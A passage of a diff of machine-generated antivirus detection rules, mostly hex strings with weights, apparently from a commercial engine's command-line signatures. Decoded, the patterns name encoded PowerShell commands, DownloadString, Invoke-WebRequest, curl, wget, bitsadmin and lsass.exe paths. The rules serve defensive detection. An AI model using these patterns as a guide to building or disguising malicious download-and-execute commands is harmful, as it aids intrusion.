"!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 08 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 70 6c 4c 6f 61 64 65 72 2e 43 00 02 00 1a 00 5c 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 12 00 69 00 6e 00 70 00 75 00 74 00 2e 00 64 00 6c 00 6c } //21283 - $a_12_1 = {20 00 50 00 72 00 69 00 6e 00 74 00 65 00 72 00 73 00 f6 ff 0e 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 f6 ff 20 00 2f 00 6e 00 61 00 6d 00 65 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 f6 ff 12 00 20 00 64 00 65 00 73 00 6b 00 2e 00 63 00 70 00 6c 00 f6 ff 5e 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 61 00 6e 00 64 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 5c 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 61 00 6e 00 64 00 20 00 53 00 68 00 61 00 72 00 69 00 6e 00 67 00 20 00 43 00 65 00 6e 00 74 00 65 00 72 00 f6 ff 16 00 69 00 6e 00 65 00 74 00 63 00 70 00 6c 00 2e 00 63 00 70 00 6c 00 f6 ff 14 00 6b 00 65 00 79 00 6d 00 67 00 72 00 2e 00 64 00 6c 00 6c 00 f6 ff 12 00 6d 00 6d 00 73 00 79 00 73 } //-2560 - $a_00_3 = {f6 ff 28 00 4d 00 61 00 74 00 68 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 50 00 61 00 6e 00 65 00 6c 00 2e 00 63 00 70 00 6c 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 40 9c 00 00 ce 09 00 00 0e 9d 0d 77 e7 39 00 00 50 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 50 c3 00 00 40 } //112 - $a_21_5 = {4e 52 49 3a 52 65 } //256 NRI:Re - $a_6e_6 = {2e 41 00 02 04 00 00 01 70 00 00 00 00 00 00 00 00 00 00 04 44 00 00 10 70 00 0d 25 9c 88 07 15 00 00 00 bd 23 01 00 0d 15 00 00 0e 01 00 00 31 39 62 33 31 32 36 39 37 35 30 66 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 04 11 00 00 00 05 00 00 00 06 40 40 00 1c 80 80 00 45 } //27748 - $a_c0_8 = {00 c1 00 01 00 5c 40 80 01 45 00 00 00 46 40 c1 00 81 80 01 00 c1 c0 01 00 5c 40 80 01 45 00 02 00 46 40 c2 00 5e 00 00 01 1e 00 80 00 0a 00 00 00 04 03 00 00 00 62 6d 00 04 21 00 00 00 67 65 74 5f 63 75 72 72 65 6e 74 5f 70 72 6f 63 65 73 73 5f 73 74 61 72 74 75 70 5f 69 6e 66 6f 00 04 0c 00 00 00 72 65 71 75 65 73 74 5f 53 4d 53 00 04 05 00 00 00 70 70 69 64 00 04 02 00 00 00 4d 00 04 0b 00 00 00 } //192 - $a_5f_9 = {63 74 69 6f 6e 00 04 12 00 00 00 53 6d 73 41 73 79 6e 63 53 63 61 6e 45 76 65 6e 74 00 03 01 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 24 01 00 0e 15 00 00 0e 01 00 00 38 30 35 62 33 32 37 36 39 38 30 61 } //25697 - $a_4c_10 = {61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 04 11 00 } //98 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 2e 43 00 01 00 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 08 00 20 00 2d 00 65 00 20 00 01 00 0c 00 20 00 } //21283 + $a_00_1 = {6e 00 63 00 20 00 01 00 1e 00 2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 f6 ff 3e 00 68 00 74 00 74 } //45 + $a_00_3 = {2f 00 63 00 64 00 6e 00 2e 00 69 00 6d 00 6d 00 79 00 2e 00 62 00 6f 00 74 00 2f 00 65 00 70 00 68 00 65 00 6d 00 65 00 72 00 61 00 6c 00 2d } //58 + $a_1c_4 = {63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 2e 00 6f 00 72 00 67 00 00 00 d7 22 01 00 0b 00 0b 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 43 6f 6d 6d 61 6e 64 2e 41 00 01 00 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 0c 00 20 00 2d 00 65 00 6e 00 63 00 20 00 01 00 08 00 20 00 2d 00 65 00 20 00 01 00 22 00 20 00 2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 f6 ff 3e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 69 00 6d } //-2560 + $a_00_6 = {6f 00 74 00 2f 00 65 00 70 00 68 00 65 00 6d 00 65 00 72 00 61 00 6c 00 2d 00 f6 ff 1c 00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 2e 00 6f 00 72 00 67 00 00 00 d7 4f 04 00 0b 00 0b 00 1f 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 2e 41 00 } //46 + $a_02_7 = {68 00 74 00 74 00 70 00 [0-02] 3a 00 } //1 condition: - ((#a_46_0 & 1)*21283+(#a_12_1 & 1)*-2560+(#a_00_3 & 1)*112+(#a_21_5 & 1)*256+(#a_6e_6 & 1)*27748+(#a_c0_8 & 1)*192+(#a_5f_9 & 1)*25697+(#a_4c_10 & 1)*98) >=2 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_3 & 1)*58+(#a_1c_4 & 1)*-2560+(#a_00_6 & 1)*46+(#a_02_7 & 1)*1) >=11 } -rule _InfrastructureShared_25957{ +rule _InfrastructureShared_27320{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 1d 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 43 6f 6d 6d 61 6e 64 2e 41 00 01 00 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 0c 00 20 00 2d 00 } //21283 + $a_00_1 = {63 00 20 00 01 00 08 00 20 00 2d 00 65 00 20 00 01 00 22 00 20 00 2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 f6 ff 3e 00 68 00 74 00 74 00 70 00 } //101 + $a_00_2 = {2f 00 2f 00 63 00 64 00 6e 00 2e 00 69 00 6d 00 6d 00 79 00 2e 00 62 00 6f 00 74 00 2f 00 65 00 70 00 68 00 65 00 6d 00 65 00 72 00 61 00 6c 00 2d 00 f6 ff 1c 00 63 00 68 00 } //115 + $a_00_3 = {6f 00 6c 00 61 00 74 00 65 00 79 00 2e 00 6f 00 72 00 67 00 00 00 d7 4f 04 00 0b 00 0b 00 1f 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 2e 41 00 01 00 0f 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 90 00 01 00 08 00 66 00 74 00 70 00 3a 00 01 00 12 00 77 00 69 00 } //111 + $a_00_4 = {65 00 66 00 65 00 6e 00 64 00 01 00 0a 00 6a 00 6e 00 64 00 69 00 3a 00 01 00 0a 00 6c 00 64 00 61 00 70 00 3a 00 01 00 18 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 } //110 + $a_00_5 = {6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 01 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 24 00 53 00 74 00 } //24 + $a_00_6 = {74 00 2d 00 42 00 69 00 74 00 73 00 54 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 01 00 24 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 53 00 6f 00 63 00 6b 00 65 00 74 00 73 00 f6 ff 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 08 00 2e 00 62 00 61 00 } //97 + $a_00_7 = {08 } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*115+(#a_00_3 & 1)*111+(#a_00_4 & 1)*110+(#a_00_5 & 1)*24+(#a_00_6 & 1)*97+(#a_00_7 & 1)*116) >=11 + +} +rule _InfrastructureShared_27321{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 1f 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 2e 41 00 01 00 0f 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 90 00 01 00 08 00 66 00 74 00 70 00 3a 00 01 00 12 00 77 00 69 00 6e 00 64 00 65 00 66 00 65 00 6e 00 64 00 01 } //21283 @@ -339816,74 +357482,27 @@ rule _InfrastructureShared_25957{ $a_00_6 = {41 00 50 00 45 00 44 00 41 00 54 00 41 00 53 00 54 00 52 00 49 00 4e 00 47 00 0a 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 0a 00 1c 00 70 00 6f } //83 $a_00_8 = {68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 08 00 63 00 75 00 72 00 6c 00 0a 00 08 00 77 00 67 00 65 00 74 00 0a 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 f6 ff 1c 00 77 00 65 00 62 00 65 00 6e 00 67 00 69 00 6e 00 65 00 34 00 2e 00 64 00 6c 00 6c 00 f6 ff 10 00 20 00 41 00 7a 00 43 00 6f 00 70 00 79 00 20 00 f6 } //114 $a_00_10 = {70 00 3a 00 2f 00 2f 00 74 00 69 00 6d 00 65 00 73 00 74 00 61 00 6d 00 70 00 2e 00 64 00 69 00 67 00 69 00 63 00 65 00 72 00 74 00 2e 00 63 00 6f 00 6d 00 f6 ff 3e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 69 00 6d 00 6d 00 79 00 2e 00 62 00 6f 00 74 00 2f 00 65 00 70 00 68 00 65 00 6d 00 65 00 72 00 61 00 6c 00 } //116 - $a_ff_11 = {02 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 90 02 ff 2d 00 90 23 01 02 6f 00 66 00 90 02 ff 2e 00 78 00 6d 00 6c 00 90 00 f6 ff 2a 02 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 90 02 ff 2d 00 90 23 01 02 6f 00 66 00 90 02 ff 2e 00 74 00 78 00 74 00 90 00 f6 ff 90 00 67 00 6f 00 74 00 2e 00 76 00 6f 00 6c 00 76 00 6f 00 63 00 61 00 72 00 73 00 2e 00 6e 00 65 00 74 00 2f 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 66 00 6f 00 72 00 65 00 6e 00 64 00 70 00 6f 00 69 00 6e 00 74 00 2f 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 61 00 74 00 70 00 6f 00 6e 00 62 00 6f 00 61 00 72 00 64 00 69 00 6e 00 67 00 73 00 63 00 72 00 69 00 70 00 74 00 00 00 7a 08 00 00 00 00 00 } //45 - $a_00_13 = {00 2c 00 00 00 e8 fd 00 } //31232 - $a_00_14 = {00 dd 35 bb 5c e7 23 00 00 } //-12800 - $a_00_15 = {00 dd e0 c1 03 e7 1f 00 00 } //-12720 - $a_00_16 = {00 00 00 00 00 00 00 00 } //31312 - $a_00_17 = {00 2c 00 00 00 80 38 01 } //31232 - $a_01_18 = {00 0e 15 1b 00 8d 01 00 00 31 35 33 62 33 61 34 33 66 38 36 64 61 00 49 6e 63 6c 75 64 65 73 00 54 65 63 68 6e 69 71 75 65 54 72 61 63 6b 65 72 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 05 28 00 00 00 05 00 00 00 06 40 40 00 45 80 00 00 46 c0 c0 00 5c 00 80 00 1c 80 00 00 17 00 41 00 16 80 00 80 45 40 01 00 46 80 c1 00 5e 00 00 01 45 c0 01 00 46 00 c2 00 80 00 00 00 5c 80 00 01 00 00 80 00 45 40 02 00 80 00 00 00 c1 80 02 00 5c 80 80 01 57 c0 c2 00 16 80 00 80 45 40 01 00 46 80 c1 00 5e 00 00 01 45 40 01 00 46 00 c3 00 } //-17152 - $a_00_20 = {02 01 00 00 5c 80 00 02 17 40 c3 00 16 80 00 80 45 40 01 00 46 80 c1 00 5e 00 00 01 45 40 01 00 46 80 c3 00 5e 00 00 01 1e 00 80 00 0f 00 00 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 10 00 00 00 50 61 74 68 54 6f 57 69 6e 33 32 50 61 74 68 00 04 03 00 00 00 62 6d 00 04 0e 00 00 00 67 65 74 5f 69 6d 61 67 65 70 61 74 68 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 43 4c 45 41 } //194 - $a_07_21 = {00 00 00 73 } //78 - $a_6e_22 = {00 04 06 00 00 00 6c 6f 77 65 72 00 04 17 00 00 00 63 68 65 63 6b 46 69 6c 65 4c 61 73 74 57 72 69 74 65 54 69 6d 65 00 03 78 00 00 00 00 00 00 00 01 00 04 14 00 00 00 49 73 4b 6e 6f 77 6e 46 72 69 65 6e 64 6c 79 46 69 6c 65 00 01 01 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29300 - $a_15_24 = {00 61 04 00 00 31 38 65 62 33 33 35 30 64 } //4 - $a_32_25 = {49 6e 63 6c 75 64 65 73 00 42 4d 4c 75 61 4c 69 62 2c 4c 75 61 46 75 6e 63 48 65 6c 70 65 72 2c 54 65 63 68 6e 69 71 75 65 54 72 61 63 6b 65 72 00 00 1b } //25393 - $a_51_26 = {01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 0e 82 00 00 00 01 00 00 00 45 40 00 00 46 80 c0 00 85 c0 00 00 86 00 41 01 9c 00 80 00 5c 80 00 00 17 40 c1 00 16 80 00 80 85 80 01 00 86 c0 41 01 9e 00 00 01 85 00 02 00 86 40 42 01 c0 00 80 00 9c 80 00 01 40 00 00 01 85 80 02 } //30028 - $a_42_27 = {86 00 43 01 9a 00 00 00 16 80 00 80 85 80 02 00 86 c0 42 01 86 40 43 01 9a 40 00 00 16 80 00 80 c5 80 01 00 c6 c0 c1 01 de 00 00 01 c5 00 02 00 c6 80 c3 01 00 01 00 01 41 c1 03 00 dc 80 80 01 00 00 80 01 1a 40 00 00 16 40 01 80 c5 00 02 00 c6 80 c3 01 00 01 00 01 41 01 04 00 dc 80 80 01 00 00 80 01 1a 40 00 00 16 80 00 80 c5 80 01 00 c6 c0 c1 01 de 00 00 01 cb 80 43 00 41 41 04 00 dc 80 80 01 da 00 00 00 16 c0 01 80 05 81 04 00 40 01 80 01 1c 81 00 01 1a 41 00 00 16 80 00 80 05 81 01 00 06 c1 41 02 1e 01 00 01 0b c1 44 00 81 01 05 00 1c 81 80 01 1a 41 00 00 16 80 00 80 } //-31232 - $a_00_28 = {06 } //-32507 + $a_ff_11 = {00 63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 2e 00 6f 00 72 00 67 00 f6 ff 2a 02 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 90 02 ff 2d 00 90 23 01 02 6f 00 66 00 90 02 ff 2e 00 78 00 6d 00 6c 00 90 00 f6 ff 2a 02 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 90 02 ff 2d 00 90 23 01 02 6f 00 66 00 90 02 ff 2e 00 74 00 78 00 74 00 90 00 f6 ff 90 00 67 00 6f 00 74 00 2e 00 76 00 6f 00 6c 00 76 00 6f 00 63 00 61 00 72 00 73 00 2e 00 6e 00 65 00 74 00 2f 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 66 00 6f 00 72 00 65 00 6e 00 64 00 70 00 6f 00 69 00 6e 00 74 00 2f 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 61 00 74 00 70 00 6f 00 6e 00 62 00 6f 00 61 } //45 + $a_00_13 = {67 00 73 00 63 00 72 00 69 00 70 00 74 00 f6 ff 56 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 70 00 70 00 73 00 2e 00 62 00 6c 00 75 00 65 00 73 00 74 00 61 00 72 00 69 00 6e 00 63 00 2d 00 65 00 6d 00 65 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 00 00 e7 49 00 00 } //105 + $a_00_14 = {21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 } //11264 !#ALF:Trojan:Win32/PFApps + $a_6c_15 = {63 69 6f 75 73 43 4d 44 5f 50 74 72 2e 42 a3 c7 0f 93 ec 67 04 e3 e6 e6 d1 c2 c7 da d1 e6 67 bc 1e 1e 80 0b 3f d1 88 e7 51 00 00 00 2c 21 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 5f 4d 61 6c 69 63 69 6f 75 73 43 4d 44 5f 50 74 72 2e 41 a3 c7 0f 93 ec 67 } //19807 + $a_e6_16 = {c2 c7 da d1 e6 67 bc 1e 1e 80 0b 3f d1 c2 80 3f 31 ac 13 80 13 88 e7 5e 00 00 00 14 46 00 21 23 54 45 4c 3a 41 47 47 52 3a 56 42 41 5f 53 74 6f 6d 70 e3 77 77 93 ec 6a c3 c3 f2 31 80 04 f2 ea 80 6a e7 fc 8f ad e6 44 14 e3 c7 ac da 0b 31 80 93 ac da 1e f2 3f 80 d1 8f ad e6 44 14 e3 67 05 ac 13 80 93 ac da 1e f2 3f 80 d1 8f ad e6 44 14 e3 67 bc 1e 31 18 80 13 e7 63 00 00 00 1a 45 00 21 23 54 45 4c 3a 53 75 73 4b 65 72 6e 65 6c 49 6d 70 6f 72 74 21 61 6d 73 69 a3 c7 0f 93 ec 67 c7 78 c7 da d1 00 80 0b 3f 80 ea 17 73 e6 ac 0b 1e 12 e3 67 17 8f e7 89 e3 ec 04 f2 ea 80 c7 f2 52 80 e7 fc 9a 33 33 33 fe e3 8f e7 da bc ec 17 d1 d7 ac 1e f8 80 1e e3 ad c7 17 c7 31 bc 3f e7 67 00 00 00 26 3d } //-7420 + $a_53_17 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 42 6d 54 72 69 67 67 65 72 2e 41 4d c0 } //8448 + $a_17_18 = {0f ec 17 3f 19 ac e4 80 0b d1 05 ac e6 a7 fe e3 e0 8f c0 ad e6 17 d1 e3 ad c7 17 c7 31 bc 3f 36 ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f e0 e7 6b 00 00 00 26 41 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 42 6d 54 72 69 67 67 65 72 2e 4d 4b c7 05 67 0f ec 14 a7 1e f2 3f 3e 8f c7 05 67 0f ec 44 f2 0b 1e da bc ea d1 8f c7 05 67 0f ec e3 13 13 0b 80 52 8f c7 05 67 0f ec 89 d1 ad } //1479 + $a_bc_19 = {d1 8f ad e6 17 d1 e3 ad c7 17 c7 31 bc 3f e7 6f 00 00 00 26 45 00 21 23 } //-11844 + $a_3a_20 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 42 6d 54 72 69 67 67 65 72 2e 4d 47 c0 c7 05 93 17 67 0f ec ad bc d1 18 bc ea 05 ac e6 a7 36 00 80 0b 3f 80 ea 88 74 d7 ea ea e0 8f c0 ad e6 17 d1 e3 ad } //19539 + $a_31_21 = {3f 36 ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f e0 e7 b6 00 00 00 1c 96 00 21 23 41 47 47 52 3a 45 78 70 6c 6f 69 74 2f 53 75 73 58 6d 6c 52 65 71 75 65 73 74 c0 ad e6 17 d1 f6 c7 31 0b f2 e6 1e e3 ad c7 17 c7 31 bc 3f 36 ad e6 17 d1 44 14 c7 31 0b f2 e6 1e e3 ad c7 17 c7 31 bc 3f e0 8f c0 c7 05 67 0f ec fc d0 e6 ea ac f2 1e 78 c7 da d1 82 73 ea a3 1e 1e e6 c7 80 3f 13 93 80 91 da 80 d1 1e e0 8f c0 c7 05 67 0f ec fc d0 e6 ea ac f2 1e 78 c7 da d1 82 73 ea a3 1e 1e e6 67 ac d1 1e 93 80 91 da 80 d1 1e 36 c7 05 67 0f ec fc d0 e6 ea ac f2 1e 78 c7 da d1 82 73 ea a3 1e 1e } //6087 + $a_1e_22 = {80 91 da 80 d1 1e e0 7a 08 00 00 2e 00 00 00 00 00 00 00 5b 1c 00 00 13 4d 70 45 66 73 48 61 72 64 65 6e 69 6e 67 46 6c 61 67 73 04 00 00 00 01 00 00 00 5b 21 00 00 14 44 43 4f 5f 4d 70 42 6d 45 74 77 45 76 65 6e 74 4c 69 73 74 08 00 00 00 cf ff 1f fc ef ff ff ff 5b 22 00 00 19 4d 70 44 79 6e 61 6d 69 63 46 73 48 61 72 64 65 6e 69 6e 67 53 74 61 74 65 04 00 00 00 01 00 00 00 5b 30 } //30694 + $a_4d_23 = {54 72 75 73 74 65 64 49 6e 73 74 61 6c 6c 65 72 48 61 72 64 65 6e 69 6e 67 45 78 63 6c 75 64 65 46 6c 61 67 73 04 00 } //0 + $a_00_24 = {00 00 } //0 + $a_00_25 = {1f 46 } //-14245 䘟 + $a_72_26 = {65 6e 69 6e 67 45 78 63 6c 75 73 69 6f 6e 50 72 6f 63 65 73 73 4c 69 73 74 a4 02 00 00 09 00 00 00 20 00 00 00 25 00 73 00 79 00 73 00 74 00 65 00 6d 00 72 00 6f 00 6f 00 74 00 25 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 6c 00 73 00 61 00 73 00 73 00 2e 00 65 00 78 00 } //18547 + $a_00_29 = {79 00 73 00 74 00 65 00 6d 00 72 00 6f 00 6f 00 74 00 25 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 73 00 72 00 73 00 73 00 2e 00 65 00 78 00 65 00 00 00 23 00 00 00 25 00 73 00 79 00 73 00 74 00 65 00 6d 00 72 00 6f 00 6f 00 74 00 25 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 73 00 65 00 72 00 76 } //37 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*105+(#a_00_4 & 1)*111+(#a_00_6 & 1)*83+(#a_00_8 & 1)*114+(#a_00_10 & 1)*116+(#a_ff_11 & 1)*45+(#a_00_13 & 1)*31232+(#a_00_14 & 1)*-12800+(#a_00_15 & 1)*-12720+(#a_00_16 & 1)*31312+(#a_00_17 & 1)*31232+(#a_01_18 & 1)*-17152+(#a_00_20 & 1)*194+(#a_07_21 & 1)*78+(#a_6e_22 & 1)*29300+(#a_15_24 & 1)*4+(#a_32_25 & 1)*25393+(#a_51_26 & 1)*30028+(#a_42_27 & 1)*-31232+(#a_00_28 & 1)*-32507) >=11 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*105+(#a_00_4 & 1)*111+(#a_00_6 & 1)*83+(#a_00_8 & 1)*114+(#a_00_10 & 1)*116+(#a_ff_11 & 1)*45+(#a_00_13 & 1)*105+(#a_00_14 & 1)*11264+(#a_6c_15 & 1)*19807+(#a_e6_16 & 1)*-7420+(#a_53_17 & 1)*8448+(#a_17_18 & 1)*1479+(#a_bc_19 & 1)*-11844+(#a_3a_20 & 1)*19539+(#a_31_21 & 1)*6087+(#a_1e_22 & 1)*30694+(#a_4d_23 & 1)*0+(#a_00_24 & 1)*0+(#a_00_25 & 1)*-14245+(#a_72_26 & 1)*18547+(#a_00_29 & 1)*37) >=11 } -rule _InfrastructureShared_25958{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 72 41 74 74 6b 2e 53 41 00 0a 00 0f 02 63 00 6d 00 64 00 90 02 10 2f 00 63 00 90 00 01 00 30 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c } //21283 - condition: - ((#a_46_0 & 1)*21283) >=11 - -} -rule _InfrastructureShared_25959{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 79 61 6c 4d 6f 75 6e 74 65 64 2e 41 00 01 00 45 02 66 00 73 00 75 00 74 00 69 00 6c 00 90 02 ff 64 00 65 00 76 00 64 00 72 00 76 00 90 02 ff 65 00 6e 00 61 00 62 00 6c 00 65 00 90 02 } //21283 - condition: - ((#a_46_0 & 1)*21283) >=1 - -} -rule _InfrastructureShared_25960{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 46 41 70 70 73 2e 43 00 01 00 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 08 00 20 00 2d 00 65 00 20 00 01 00 0c 00 20 00 } //21283 - $a_00_1 = {6e 00 63 00 20 00 01 00 1e 00 2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 d7 c0 00 00 0b 00 0b } //45 - $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 43 6f 6d 6d 61 6e 64 2e 41 00 01 00 20 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 0c } //19539 - $a_00_5 = {63 00 20 00 01 00 08 00 20 00 2d 00 65 00 20 00 01 00 22 00 20 00 2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 e7 46 00 00 00 28 1a 00 21 23 } //101 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_3a_3 & 